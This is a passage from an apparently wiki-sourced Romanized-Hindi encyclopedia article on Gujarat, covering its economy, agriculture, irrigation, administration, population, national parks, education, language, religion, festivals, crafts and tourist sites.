mean shesh bache hue bharatiy jangali gadhe pae jate haian. ahamadabad ke nikat ka nalasarovar pakshi abhayarany saiberiya ke maidanoan v any sthanoan se shit rritu mean lagabhag 140 prakar ke pravasi pakshiyoan ko apani or akarshit karata hai. inamean saras, brahmani battakh, sonachiraiya, pelikan, panakauva, aibis, lakalak (st aaurk), bagula aur vak shamil haian. bharat mean kachchh ka ran hansavar (flemiangau) ka ekamatr prajanan sthal hai. gujarat mean samudri aur mithe pani ki machhaliyaan pak di jati haian. pak di jane vali machhaliyoan mean p aaumfre s aaulaman, hilsa, jyoofish (saiena), jhianga, b aaumbe dak (khady machhali) aur tyoona machhali shamil haian.

arthavyavastha

[[chitr:Colourful-Peanut-Gujarat.jpg|thumb|250px|rang birangi mooangaphali, gujarat]] jalavayu sanbandhi pratikool paristhiyaan, mrida aur jal ki lavanata aur chattani ilaqe aisi bhautik samasyaean haian, jinhoanne gujarat ki krishi gatividhiyoan ko avaruddh kiya. rajy zyadatar sianchaee par nirbhar hai. bhoojal ki upayogi ko badhane ki avashyakata hai, kyoanki bhoomigat jal star lagatar girata ja raha hai. yah avashyak hai ki narmada nahar pranali ka parichalan sianchaee ke lie ho. mukhy khady fasaloan mean jvar-bajara, chaval aur gehooan shamil haian. gujarat mean naqadi fasaloan ka utpadan mahattvapoorn hai. gujarat kapas, tanbakoo aur mooangaphali ka utpadan karane vale desh ka pramukh rajy hai tatha yah kap da tel aur sabun jaise mahattvapoorn udyogoan ke lie kachcha mal upalabdh karata hai. disambar 2002 mean rajy mean panjikrit chaloo phaiktariyoan ki sankhya 19,696 thi, jinamean ausat 8.4 lakh dainik mazadooroan ko rozagar mila hua tha. laghu udyog kshetr mean sitambar 2003 tak rajy mean 2.83 lakh laghu audyogik ikaiyoan ka panjikaran ho chuka tha. disambar 2003 tak gujarat audyogik vikas nigam ne 241 audyogik sanpadaean sthapit ki thian. gujarat paitroliyam ke utpadan mean tisara b da kshetr hai. yahaan ke mukhy petroliyam utpadak kshetr khambhat ki kha di aankaleshvar, b dodara, mehasana tatha ahamadabad haian. gujarat rajy ka bharat mean kapas aur mooangaphali utpadan mean pratham aur tambakoo utpadan mean dvitiy sthan hai. halaanki zyadatar log krishi mean sanlagn haian, par yahaan ek sugathit aur apekshakrit samaddh vanijyik samuday bhi hai, jo vyapar aur vanijy mean taraqqi kar raha hai. vyapar mean sanlagn gujarati log desh bhar aur videshoan mean bhi phaile hue haian, bharat ki audyogik arthavyavastha mean gujarat ka sthan agrani hai. yah rajy choona-patthar, maianganiz jipsam, kailsait aur b aauksait jaisi khanij sanpada se samriddh hai. yahaan par lignait, kvartaz yukt ret, gomed (eget) aur felsapar ke bhi bhandar haian. asam ke sath gujarat bhi ek pramukh petroliyam utpadak rajy hai. soda aish aur namak ke mamale mean kul rashtriy utpad ka sarvadhik hissa yahian se ata hai. simeant, vanaspati tel, rasayan aur sooti vastr ke udyog mahattvapoorn haian. aushadhi udyog vadodara, ahamadabad aur atul (valasad) mean keandrit hai, jo bharat ke kul utpadan ke ek b de hisse ka nirman karate haian. koyali ke nikat sthit tel parishodhanashala ne asapas ke petro rasayan udyog ke tivr vikas mean bhoomika nibhaee hai. sahakari vanijyik deyari udyog bhi mahattvapoorn hai. dugdh utpadan mean "shvet kraanti" isi rajy mean huee thi aur yah bharat ke bachchoan ke lie dugdh khady ke kul utpadan ka 4/5 hisse ka utpadan karata hai. laghu udyogoan ka niyamit vikas mahattvapoorn hai. mazadooroan ki samasya par gaandhivadi marg-saty par dridh nirbharata, ahiansa, madhyasthata dvara samajhauta, nyoonatam maangean aur akhiri upay ke roop mean h datal ke prayog-ne gujarat mean audyogik sanbandhoan par gahara prabhav dala hai, jisaki vajah se yah rajy mazadoor asantosh se apekshakrit svatantr hai. yah pradesh deyari udyog mean agrani hai. gujarat ke anand mean neshanal deyari devalapameant bord ka mukhyalay hai. [[chitr:Diamond.jpg|thumb|250px|hira|left]]

• soorat mean hira tarashane aur p aaulish karane ka udyog unnat dasha mean hai.
• gujarat bharat ka sabase pramukh namak utpadan rajy hai. yahaan desh ka 60 pratishat namak taiyar kiya jata hai.
• vyapar ki drishti se samudr tatavarti is pradesh ka bahut mahatv hai. pradesh mean kul 40 bandaragah haian, jinamean kaandala jaisi navanirmit aur vikasit bandagah bhi shamil hai.
• garibi rekha ke niche jivan basar karane vale vyaktiyoan ka pratishat (1999-2000) -14.07 pratishat.

krishi

pani bharati gramin mahilayean, gujarat|thumb|250px

• gujarat kapas, tanbakoo aur mooangaphali ka utpadan karane vala desh ka pramukh rajy hai.
• yah kap da, tel aur sabun jaise mahattvapoorn udyogoan ke lie kachcha mal upalabdh karata hai. any mahattvapoorn nakadi fasalean haian - isabagol, dhan, gehooan aur bajara.
• gujarat ke vanoan mean upalabdh vrikshoan ki jatiyaan haian- sagavan, khair, haladariyo, sadad aur baans.
• kul khadyann utpadan (1999- 2000) -4,051,700 tan.

udyog

rajy ke audyogik dhaanche mean dhire-dhire vividhata ati ja rahi hai. yahaan rasayan, petro-rasayan, urvarak, ianjiniyariang, ilektr aauniks adi udyogoan ka vikas raha hai.

• 2004 ke aant mean rajy mean panjikrit phaiktariyoan ki sankhya 21,536 (asthaee) thi jinamean ausatan 9.27 lakh dainik mazadooroan ko rozagar mila hua tha.
• march, 2005 tak rajy mean 2.99 lakh laghu audyogik ikaiyoan ka panjikaran ho chuka tha.
• gujarat audyogik vikas nigam ko dhaanchagat suvidhaoan ke sath audyogik sanpadaoan ke vikas ki bhoomika sauanpi gee hai.

[[chitr:Market-Ahmadabad-1.jpg|thumb|250px|left|bazar ka ek drishy, ahamadabad]]

• disanbar, 2005 tak gujarat audyogik vikas nigam ne 237 audyogik sanpadaean sthapit ki thi.
• vastr, rasayanik paitro rasayan, davaee, rang urvarak, siment, dugdh utpad, chini, ianjiniyari saman kagaz, namak adi.
• gujarat ka sabase mahattvapoorn udyog sooti vastr hai. bharat ka mainachestar ahamadabad ko kaha jata hai.

sianchaee aur bijali

dhuvaran mean ek tapavidyut keandr sthit hai. rajy ko maharashtr rajy ki tarapur nabhikiy oorja ikaee se bhi bijali ki apoorti hoti hai. narmada nadi par lanbe samay se nirmanadhin aur vivad grasit saradar sarovar baandh ke sabase b de jalavidyut utpadak banane ki asha hai aur isase vistrit sianchaee suvidha bhi milegi. [[chitr:Gujarat-Power-Plant.jpg|thumb|250px|gujarat vidyut nigam, v dodara]]

• sianchaee evan vidyut- pramukh sianchaee pariyojana mean ukee, kadana, kakarapar, dantiva da shatruanjay, bhadar, meshava.
• sianchaee kshamata : 64.88 lakh hekteyar. 2770 megavat jal evan tap vidyut paida ki jati hai.
• rajy mean bhootaliy jal tatha bhoomigat jal dvara kul sianchaee kshamata 64.48 lakh hekteyar aanki gee hai jisamean saradar sarovar (narmada) pariyojana ki 17.92 lakh hekteyar kshamata bhi shamil hai.
• rajy mean joon 2005 tak kul sianchaee kshamata 40.34 lakh hekteyar kshamata bhi shamil hai.
• rajy mean joon 2007 tak kul sianchaee kshamata 42.26 lakh hekteyar tak pahuanch gee thi.
• joon 2007 tak adhikatam upayog kshatama 37.33 lakh hekteyar aanki gee.
• kul sianchit kshetr -3,082,000 hekteyar .

prashasan

thumb|250px|vidhan sabha, gujarat

sarakar

rashtrapati dvara niyukt rajyapal gujarat ke prashasan ka pramukh hota hai. mukhyamantri ke netritv mean mantrimandal rajyapal ko usake kamakaj mean sahayog aur salah deta hai. rajy mean ek nirvachit nikay ekasadanatmak vidhanasabha hai. uchch nyayalay rajy ki sarvopari nyayik satta hai, jabaki shahari nyayalay, zila v satr nyayadhishoan ke nyayalay aur pratyek zile mean divani mamaloan ke nyayadhishoan ke nyayalay haian. rajy ko 25 prashasanik ziloan mean baanta gaya hai. ahamadabad, amareli, banas kantha, bharooch, bhavanagar, deang, gaandhinagar, khe da, mahesana, panchamahal, rajakot, sabar kantha, soorat sureandranagar, vadodara, valasad, navasari, narmada, dohad, anand, patan, jamanagar, porabandar, joonagadh aur kachchh, pratyek zile ka rajasv aur samany prashasan ziladhish ki dekharekh mean hota hai, jo qanoon aur vyavastha bhi banae rakhata hai. sthaniy prashasan mean am logoan ko shamil karane ke lie 1963 mean panchayat dvara prashasan ki shuruat ki gee. [[chitr:Sterling-Civil-Hospital-Gujarat.jpg|thumb|left|200px|starliang sivil aspatal, ahamadabad]]

svasthy

svasthy aur chikitsa sevaoan mean maleriya, tapedik, kushth aur any sankramak rogoan ke unmoolan ke sath-sath peyajal ki apoorti mean sudhar aur khady samagri mean milavat ko rokane ke karyakram shamil haian. prathamik svasthy keandroan, aspataloan aur chikitsa mahavidyalayoan ke vistar ke lie bhi qadam uthae ge haian.

jan-kalyan

bachchoan, mahilaoan aur vikalaangoan, vriddh, asahay, parityakt ke sath-sath aparadhi bhikhari, anath aur jel se chhute logoan ki kalyan avashyakataoan ki dekharekh vibhinn rajakiy sansthaean karati haian. rajy mean tathakathit pichh de varg ke logoan ki shiksha, arthik vikas, svasthy aur avas ki dekharekh ke lie ek alag vibhag hai.

x160px|alt=yamuna|gujarat vidhan sabha ka vihangam drishy

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janajivan

thumb|250px|lohar, gujarat gujarati janasankhya mean vividh jatiy samooh ka mote taur par iandik / bharatodbhav (uttari mool) ya dravi d (dakshini mool) ke roop mean vargikaran kiya ja sakata hai. pahale varg mean nagar brahman, bhatiya, bhadela, rabari aur mina jatiyaan (parasi, mool roop se faras se, paravarti uttari agaman ka pratinidhitv karate haian), jabaki dakshini mool ke logoan mean valmiki, koli, dabala, nayakada v machchhi-kharava janajatiya haian. shesh janasankhya mean adivasi bhil mishrit visheshataean darshate haian. anusoochit janajati aur adivasi janajati ke sadasy pradesh ki janasankhya ka lagabhag paanchavaan hissa haian. yahaan deang zila poornat: adivasi yukt zila hai. ahamadabad zile mean anusoochit janajati ka anupat sarvadhik hai. gujarat mean janasankhya ka mukhy sankeandran ahamadabad, khe da, vadodara, soorat aur valsar ke maidani kshetr mean dekha ja sakata hai. yah kshetr krishi ke drishtikon se urvar hai aur atyadhik audyogikrit hai. janasankhya ka ek any sankeandran mangarol se mahuva tak aur rajakot evan jamanagar ke asapas ke hissoan sahit saurashtr ke dakshini tatiy kshetroan mean dekha ja sakata hai. janasankhya ka vitaran uttar (kachchh) aur poorvi parvatiy kshetroan ki or kramash kam hota jata hai. janasankhya ka ausat ghanatv 258 vyakti prati varg kimi (2001) hai aur dashakiy vriddhi dar 2001 mean 22.48 pratishat paee gee.

gujarat mean saanskritik jivan ke vibhinn drishy

170px|maanjha banata vyakti, gujarat

170px|khana banati gramin mahila, gujarat

160px|paramparik banjare, gujarat

77px|paramparik poshak mean gujarati mahila

170px|paramparik banjare, gujarat

145px|paramparik banjare, gujarat

190px|chakada, gujarat

khanapan

gujarat mean khanapan ke vibhinn drishy

205px|bhelapoori, gujarat

185px|gujarati khane se saji huee thali

205px|jarati nashte ki thali

175px|papadi chat ki dukan, gujarat

230px|masaloan ka bazar, ahamadabad

yatayat aur parivahan

s dak evan rel sanpark achchhe haian aur tatiy jahazi marg gujarat ke vibhinn bandaragahoan ko jo date haian, kaandala ek pramukh aantarrashtriy bandaragah hai. rajy ke bhitar aur desh ke any pramukh nagaroan ke lie gujarat se vayusena upalabdh hai. thumb|250px|oto, gujarat

• 2005-06 ke aant mean s dakoan ki kul lanbaee (gair yojana, samudayik, shahari aur pariyojana s dakoan ke alava) lagabhag 74,038 kilomitar thi.
• 2002-03 ke aant tak bhootal s dakoan ki lambaee 70,743 kimi thi. desh ka pahala eksapres marg ahamadabad aur b dodara ke bich nirmanadhin hai.
• relamarg ki lambaee 5312 kimi (1997-98), 2001-2002 ke aant tak rajy mean s dakoan ki kul lanbaee (myunisipal s dakoan ke alava) lagabhag 74,03 ki.mi. thi
• rajy ka mukhy havaee adda ahamadabad hai. yahaan se mumbee, dilli aur any shaharoan ke lie dainik viman seva upalabdh hai.
• ahamadabad havaee adde ko aantarrashtriy havaee adde ka darja mil gaya hai. any havaee adde b dodara, bhavanagar bhuj, soorat, jamanagar, kaandala, keshod, porabandar aur rajakot mean haian.
• rajy ke ahamadabad sthit mukhy havaee adde se muanbee, dilli aur any shaharoan ke lie dainik viman seva upalabdh hai. ahamadabad havaee adde ko ab aantararashtriy havaee adde ka darja mil gaya haian. any havaee adde vadodara, bhavanagar, bhuj, soorat, jamanagar, kaandala, keshod, porabandar aur rajakot mean hai.
• gujarat mean kul 40 bandaragah haian. kaandala rajy ka pramukh bandaragah hai. varsh 2004-05 ke dauran gujarat ke manjhole aur chhote bandaragahoan se kul 971.28 lakh tan mal dhoya gaya jabaki kaandala bandaragah se 415.51 lakh tan mal dhoya gaya.

rashtriy udyan

gujarat ke rashtriy udyan

udyan ka nam	zila	kshetraphal	vany jivoan ki mukhy prajatiyaan
gir rashtriy udyan	joonagadh	258.71 varg kimi	eshiyaee sher, teandua, chital, jangali billi, lak dabagdha, chiankara, jangali sooar, saanbhar chausianga, adi tatha 300 pakshiyoan ki prajatiyaan
velavadar rashtriy udyan	bhavanagar	34.08 varg kimi	teandua, hiran, chiankara mor
bansada rashtriy udyan	valasad	23.89 varg kimi	teandua, hiran, mor
merin rashtriy udyan	jamanagar	162.89 varg kimi	ragog, hara kachhuva, aauliv ridale, gh diyal, jalagoh, baj, chamachachoanch pihi, jalamurgi.

gujarat mean gir rashtriy udyan, velavadar rashtriy udyan, bansada, rashtriy udyan aur merin rashtriy udyan milakar kul char rashtriy udyan haian jo kul 47,967 varg kilomitar kshetr mean phaile hue haian.

gir rashtriy udyan-

• gir rashtriy udyan ki sthapana rajy ke saurashtr kshetr mean 1975 mean ki gee thi aur joonagadh zile mean 258-71 varg kilomitar kshetr mean phaila hua hai.
• gir ki jalavayu ooshnakatibandhiy hai aur isako vanaspati ooshmakatibandhiy shushk parnapati hai. vanoan mean sagavan, baragad, mishrit parnapati tatha kantile pe d-paudhe, jaise-babool, kikar, ber adi milate haian.
• gir van sankatapann aur viral prajati ke eshiyaee sher ke ekamatr ashray sthal ke roop mean prasiddh hai. isamean teandua, lakkarabagdha, jangali sooar, nilagay, saanbhar, chital, chiankara, chausianga, magar, goh adi paye jate haian.

[[chitr:Gir-Forest-National-Park-2.jpg|left|thumb|gir van rashtriy udyan]]

velavadar rashtriy udyan-

• yah bhavanagar zile mean 34 varg kilomitar kshetr mean phaila hai. isamean ooshnakatibandhiy kantile van paye jate haian. kala hiran aur bhe diya isake pramukh vany pashu haian jabaki mor samany pakshi hai.

bansada rashtriy udyan-

• ise balasad zile mean 1976 mean sthapit kiya gaya tha. aur isaka kshetraphal 24 kilomitar hai. is udyan mean nam parnapati van haian jabaki mor mukhy pakshi hai.

mairin rashtriy udyan-

• 1982 mean rajy ke jamanagar zile mean sthapit merin rashtriy udyan ka kshetraphal 163 varg kilomitar hai. ooshnakatibandhiy kshetr mean sthit samudritatiy evan daladali bhoomivale is udyan mean maiangrov prajatiyoan ke vriksh paye jate haian jabaki aanshatah arddhasadaharit van bhi paye jate haian. yahaan vanyajivoan mean samudri gay (doogoang), hari tvachavale kachhue, kharepani ke magaramachchh, oliv ridale goh, mukhy haian. pakshiyoan mean chamachachoanch, jalamurgi, pihi adi samany roop se paye jate haian.

[[chitr:Maharaja-Sayajirao-University-Baroda.jpg|thumb|maharaja sayajirav vishvavidyalay, v dodara]]

shiksha

500 ya isase zyada janasankhya vale lagabhag sabhi gaanvoan mean sat se gyarah varsh ke sabhi bachchoan ke lie prathamik pathashalaean haian. adivasi bachchoan ko kala aur shilp ki shiksha dene ke lie vishesh vidyalay chalae jate haian. yahaan anek madhyamik aur uchchatar vidyalayoan ke sath-sath nau vishvavidyalay aur uchch shiksha ke lie b di sankhya mean shikshan sansthan haian. abhiyaantriki mahavidyalayoan aur takaniki vidyalayoan dvara takaniki shiksha upalabdh karaee jati hai. shodh sansthanoan mean ahamadabad mean fizikal risarch leboretari ahamadabad teksatail iandastriz risarch eshosieshan, seth bholabhaee jesiangabhaee ianstityoot aauf larniang aiand risarch, d iandiyan ianstityoot aauf mainejameant, d neshanal ianstityoot aauf dizain aur d saradar patel ianstityoot aauf ikon aaumik aiand soshal risarch, vadodara mean orieantal ianstityoot tatha bhavanagar mean seantral salt aiand mॅrin kemikal risarch ianstityoot shamil haian.

gujarat ke shikshan aur anusandhan kendr

vishvavidyalay	prashikshan sansthan	shodh evan anusandhan kendr
gujarat krishi vishvavidyalay, daantiva da gujarat ayurved vishvavidyalay, jamanagar gujarat vishvavidyalay, ahamadabad gujarat vidyapith, ahamadabad maharaja sayajirav vishvavidyalay, b dodara saradar patel vishvavidyalay, ballabh vidyanagar saurashtr vishvavidyalay, soorat uttari gujarat vishvavidyalay, patan d aau. baba saheb ambedakar khula vishvavidyalay, ahamadabad	k aaulej aauf saitelait kamyoonikeshan teknol aauji, ahamadabad iandiyan ianstityoot aauf mainejameant ahamadabad	kendriy namak aur samudri rasayan anusandhan sansthan, bhavanagar vidyut anusandhan aur vikas sansthan, b dodara kakarapa da et aaumik p aauvar plant (gujarat)

bhasha

thumb|gujarati varnamala gujarati aur hindi rajy ki adhikrit bhashaean haian. donoan mean gujarati ka zyada vyapak istemal hota hai, jo sanskrit ke alava prachin bharatiy mool bhasha prakrit aur 10 vian shatabdi ke bich uttari aur pashchimi bharat mean boli jane vali apabhransh bhasha se vyutpann ek bharatiy-ary bhasha hai. samudr marg se gujarat ke videshoan se sanpark ne farasi, arabi, turki, purtagali aur aangrezi shabdoan se isaka parichay karavaya. gujarati mean mahatma gaandhi ki vilakshan rachanaean apani sadagi aur oorjasvita ke lie prasiddh haian. in rachanaoan ne adhunik gujarati gady par zabaradast prabhav dala hai. gujarat mean rajabhasha gujarati bhasha ke atirikt hindi, marathi aur aangrezi ka prachalan hai. gujarati bhasha navin bharatiy–ary bhashaoan ke dakshin–pashchimi samooh se sambandhit hai. italavi vidvanh tessitori ne prachin gujarati ko prachin pashchimi rajasthani bhi kaha, kyoanki unake kal mean is bhasha ka upayog us kshetr mean bhi hota tha, jise ab rajasthan rajy kaha jata hai.

1. REDIRECT saancha:inhean bhi dekhean

dharm

[[chitr:Jain-Temple-Palitana-Gujarat.jpg|thumb|jain mandir, palitana]] gujarat mean adhikaansh janasankhya hindoo dharm ko manati hai, jabaki kuchh sankhya islam, jain aur parasi dharm manane valoan ki bhi hai. rajy niti hamesha se hi isaki janata ki dharmik sahishnuta ke karan vishisht rahi hai, halaanki 20 vian sadi ke uttarardh mean badhate saanpradayik tanav ke karan dange bhi hue haian.

sanskriti

gujarat ki adhikaansh lok sanskriti aur lokagit hindoo dharmik sahity puran mean varnit bhagavan krishna se ju di kianvadantiyoan se pratibianbit hoti hai. krishna ke samman mean kiya jane vala ras nrity aur rasalila prasiddh lokanrity "garaba" ke roop mean ab bhi prachalit hai. yah nrity devi durga ke navaratr parv mean kiya jata hai. ek lok naty bhavee bhi abhi astitv mean hai.

gujarat mean shaivavad ke sath-sath vaishnavavad bhi lanbe samay se phalata-phoolata raha hai, jinase bhakti mat ka udbhav hua. pramukh santoan, kaviyoan aur sangitajnoan mean 15vian sadi mean padoan ke rachayita narasi mehata, apane mahal ko tyagane vali 16vian sadi ki [[chitr:Garba-Dance.jpg|thumb|250px|left|garaba nrity, gujarat]] rajapoot rajakumari v bhajanoan ki rachanakar mirabaee, 18vian sadi ke kavi aur lekhak premanand aur bhakti mat ko lokapriy banane vale gitakar dayaram shamil haian. bharat mean any jagahoan ki tulana mean ahiansa aur shakahar ki vishishtata vale jain dharm ne gujarat mean gahari j de jamaee. zarathustr ke anuyayi parasi 17vian sadi ke bad kisi samay faras se bhagakar sabase pahale gujarat ke tat par hi base the. thumb|250px|paramparik poshak mean gramin mahila is samuday ke adhikaansh log bad mean banbee (vartaman muanbee) chale ge. krishna, dayanand sarasvati, mahatma gaandhi, saradar patel tatha suprasiddh kriket khila di ranaji jaise vyaktitv ne pradesh ke samaj ko gauravaanvit kiya. gujarat ki sanskriti mean mukhyat: shishe ka kam tatha 'garaba' evan 'ras' nrity poore bharat mean prasiddh hai. pradesh ka sarvapramukh lok nrity garaba tatha daandiya hai. garaba nrity mean striyaan sir par chhidrayukt patr lekar nrity karati haian, jis ke bhitar dip jalata hai. daandiya mean aksar purush bhag lete haian parantu kabhi-kabhi stri-purush donoan milakar karate haian. pradesh ke rahan-sahan aur pahanave par rajasthan ka kafi prabhav dekha ja sakata hai. pradesh ka bhavee lokanaty kafi lokapriy hai. sthapaty shilp ki drishti se pradesh kafi samriddh hai. is drishti se rudr mahalay, siddhapur, matrimoorti pavagadh, shilpagaurav galateshvar, dvarikanath ka mandir, shatruanjay palitana ke jain mandir, sidi saiyad masjid ki jaliyaan, patan ki kashthakala ityadi kafi mahattvapoorn haian. hindi mean jo sthan sooradas ka hai gujarati mean vahi sthan narasi mehata ka hai.

tyohar aur mele

• bharat ke pashchimi bhag mean basa samriddhashali rajy gujarat apane tyoharoan aur saanskritik utsavoan ke liye vishv prasiddh hai.
• bhadrapadr (agast-sitanbar) mas ke shukl paksh mean chaturthi, panchami aur shashthi ke din taranetar gaanv mean bhagavan shiv ki stuti mean taranetar mela lagata hai.
• bhagavan krishna dvara rukmani se vivah ke upalakshy mean chaitr (march-aprail) ke shukl paksh ki navami ko porabandar ke pas madhavapur mean madhavaray mela lagata hai.
• uttari gujarat ke baansakaantha zile mean har varsh maan aanba ko samarpit aanba ji mela ayejit kiya jata haian.
• rajy ka sabase b da varshik mela dvaraka aur dakor mean bhagavan krishna ke janmadivas janmashtami ke avasar par b de harshollas se ayojit hota hai.
• isake atirikt gujarat mean makar sankrati, navaratr, daangi darabar, shamala ji mele tatha bhavanath mele ka bhi ayojan kiya jata haian.

patangoan ka rangin tyohar

[[chitr:Kite.jpg|thumb|patang|250px]] makar sankraanti ke parv par manaya jane vala patang utsav apani rang-birangi chhavi ke karan gujarat rajy mean atyant lokapriy hai aur bharat hi nahian videshoan mean bhi apani vishisht pahachan bana chuka hai. janavari mah ke madhy mean (14 janavari) uttarayan parv ata hai. bhagavan bhaskar uttarayan ko prayan karate haian, basant rritu ka agaman hota hai, kisanoan ki khushi ka thikana nahian rahata kyoanki phasal pakakar taiyar ho jati hai, kataee ka samay a jata hai. nav dhany se bane susvadu mishtann sabhi ko utsav ka anand dete haian. gujarat mean is parv ko manane ka nirala rang hai. gujaratavasi rang-birangi patangoan se asaman bhar dete haian. ye rang vividhata mean ekata, anand, utsah aur paraspar sneh-sauhard ke pratik haian. patang patale rangin kagaz v baans ke reshoan se banaee jati hai. patang ki dor maanjha kahalati hai jise phiraki par lapeta jata hai. patang u dane vale pahale patang pasand karate haian, vah thik bani v santulit hai ya nahian, phir hava ki disha ko dekhate huye kushal hathoan se patang ko ooanchi u dan dete haian. kushal u dake asaman mean u dati patangoan mean se apane pratidvandvi ko pahachan lete haian aur phir shuroo hote haian patang katane ke daanv-peanch. patang katane vale jit ka jashn manate haian. yah ek aisa rangin utsav hai jahaan bachche-boodhe, dhani-nirdhan, svadeshi-videshi sabhi bhed-bhav bhoolakar anant akash mean ekata ke rang bhar dete haian. gujarat mean rajy paryatan vibhag ki or se sanh 1989 se prativarsh aantarrashtriy patang utsav ahamadabad mean ayojit kiya jata hai. bahari deshoan ke mehaman vibhinn prakar ki patangean lekar is utsav mean bhag lete haian.

gujarat mean kala evan sanskriti ke vibhinn drishy

170px|v dodara sangrahalay

160px|daandiya nrity, gujarat

78px|gujarati nrity, gujarat

175px| dvarikadhish mandir, dvaraka, gujarat

170px|shiv aur parvati

180px|garaba nrity, gujarat

190px|garaba nrity ke lie taiyar hoti mahilayean, gujarat

170px|daandiya nrity, gujarat

170px|somanath mandir, gujarat

kala

thumb|250px|daandiya nrity, gujarat gujarat ki vastukala shaili apani poornata aur alankarikata ke lie vikhyat hai, jo somanath, dvaraka, modhera, than, ghumali, giranar jaise mandiroan aur smarakoan mean sanrakshit hai. muslim shasan ke dauran ek alag hi tariqe ki bharatiy-islami shaili vikasit huee. gujarat apani kala v shilp ki vastuoan ke lie bhi prasiddh hai. inamean jamanagar ki baandhani (bandhaee aur rangaee ki takanik), patan ka utkrisht reshami vastr patola, idar ke khilaune, palanapur ka itr konodar ka hastashilp ka kam aur ahamadabad v soorat ke laghu mandiroan ka kashthashilp tatha pauranik moortiyaan shamil haian. rajy ke sarvadhik sthayi aur prabhavashali saanskritik sansthanoan mean mahajan ke roop mean prasiddh vyapar aur kala thumb|250px|left|hastashilp kala, gujarat shilp sangh hai. aksar jati vishesh mean aantargathit aur svayatt in sanghoan ne atit kee vivadoan ko sulajhaya hai aur lokahit ke madhyam ki bhoomika nibhate hue kala v sanskriti ko protsahan diya hai.

kashth shilpakala

gujarat rajy mean ki jane vali vastu shilpiy naqqashi kam se kam 15vian shatabdi se gujarat bharat mean lak di ki naqqashi ka mukhy keandr raha hai. nirman samagri ke roop mean jis samay patthar ka istemal adhik suvidhajanak aur vishvasaniy tha, is samay bhi gujarat ke logoan ne mandiroan ke mandap tatha avasiy bhavanoan ke agrabhagoan, dvaroan, stanbhoan, jharokhoan, divaragiroan aur jalidar khi dakiyoan ke nirman mean nirman mean bejhijhak lak di ka prayog jari rakha. mugal kal (1556-1707) ke dauran gujarat ki lak di naqqashi mean deshi evan mugal shailiyoan ka suandar sanyojan dikhaee deta hai. 16vian sadi ke uttarardh evan 17vian sadi ke jain kashth mandapoan par jain pauranik kathaean evan samakalin jivan ke drishy tatha kalpanik bel-boote, pashu-pakshi evan jyamitiy akritiyaan utkirn ki gee haian; akriti moortikala atyant jivant evan layatmak hai. lak di par gadhe lal raugan ka prayog am tha. 19vian sadi ke kee bhavy kashth purobhag sanrakshit haian, lekin unaka alankaran pahale ki nirmitiyoan jaisa lalit aur gatyatmak nahian hai.

paryatan sthal

• gujarat ek akarshak paryatan sthal hai. gujarat mean dvaraka, somanath, palitana ke nikat shatruanjay paha di, pavagadh, aanbaji bhadreshvar, shamalaji, taranga aur giranar jaise dharmik sthaloan ke alava mahatma gaandhi ki janmabhoomi porabandar tatha puratattv aur vastukala ki drishti se ullekhaniy patan, siddhapur, ghuranali, dabhoee, badanagar, modhera, lothal aur ahamadabad jaise sthan bhi haian.
• ahamadapur maandati, charaba d ubharat aur tithal ke suandar samudri tat, satapu da parvatiy sthal, gir vanoan ke sheroan ka abhayarany aur kachchh mean jangali gadhoan ka abhayarany bhi paryatakoan ke akarshan ka keandr haian.

gujarat ke mukhy paryatan sthal

nam	sankshipt vivaran	chitr	manachitr liank
dvarikadhish mandir	gujarat ka dvaraka shahar vah sthan hai jahaan 5000 varsh poorv bhagavan krishna ne mathura chho dane ke bad dvaraka nagari basaee thi. jis sthan par unaka niji mahal 'hari grih' tha vahaan aj prasiddh dvarakadhish mandir hai. isalie krishna bhaktoan ki drishti mean yah ek mahan tirth hai. vaise bhi dvaraka nagari adi shankarachary dvara sthapit desh ke char dhamoan mean se ek hai. yahi nahian dvaraka nagari pavitr saptapuriyoan mean se ek hai. ... aur padhean	[[chitr:Dwarkadhish-Temple-Gujarat.jpg|dvarikadhish mandir, dvaraka|150px]]	googal manachitr
somanath mandir	shri somanath jyotirliang gujarat (saurashtr) ke kathiyava d kshetr ke antargat prabhas mean virajaman haian. isi kshetr mean lila purushottam bhagavan shrikrishnachandr ne yadu vansh ka sanhar karane ke bad apani nar lila samapt kar li thian. ‘jara’ namak vyadh (shikari) ne apane banoan se unake charanoan (pair) ko biandh dala tha. ... aur padhean	[[chitr:Somnath-Temple.jpg|somanath mandir, gujarat|150px]]	googal manachitr
nageshvar jyotirliang	shri nageshvar jyotirliang gujarat prant ke dvaraka puri se lagabhag 25 kilomitar ki doori par avasthit hai. yah sthan gomati dvaraka se bet dvaraka jate samay raste mean hi p data hai. dvaraka se nageshvar-mandir ke lie bas, taiksi adi s dak marg ke achchhe sadhan upalabdh hote haian. relamarg mean rajakot se jamanagar aur jamanagar relave se dvaraka pahuancha jata hai. ... aur padhean	nageshvar mandir|150px	googal manachitr
gir van rashtriy udyan	gir van rashtriy udyan aur abhayarany, gujarat rajy, pashchim- madhy bharat mean sthit hai. joonagadh nagar se 60 kilomitar dakshin-pashchim mean shushk jha didar parvatiy kshetr mean sthit is udyan ka kshetraphal lagabhag 1,295 varg kilomitar hai. yahaan ki vanaspati mean sagaun, sal aur dhak (byootiya phroandosa) jaise parnapati vrikshoan sahit kaantedar jangal shamil haian. ... aur padhean	[[chitr:Chital-Gir-Forest-National-Park.jpg|chital, gir van rashtriy udyan|150px]]	googal manachitr
kirti mandir	kirti mandir porabandar ka pramukh akarshan kendr hai. kirti mandir mahatma gaandhi aur unaki path‍ni kastooraba gaandhi ka ghar tha. kirti mandir us jagah ke pas sthit hai jahaan mahatma gaandhi ka janm hua tha. kirti mandir mean ek gaandhivadi pustakalay aur prarthana kaksh hai. ... aur padhean	[[chitr:Porbandar-Gujarat-3.jpg|150px|kirti mandir, porabandar]]	googal manachitr

gujarat ke paryatan sthal

175px|dvarikadhish mandir, dvaraka

180px|mahabat maqabara, joonagadh

165px|rani ki bav, gujarat

160px|bhadreshvar jain mandir, kachchh

70px|hathisianh jain mandir, ahamadabad

82px|kirti mandir, porabandar

170px|sianhani, gir van rashtriy udyan

160px|giranar, gujarat

89px|nangeshvar mahadev, dvaraka

160px|svaminarayan mandir, ahamadabadat

165px|kala dooangar, kachchh

gujarat mean janme pramukh vyaktitv

nam	sankshipt parichay	chitr
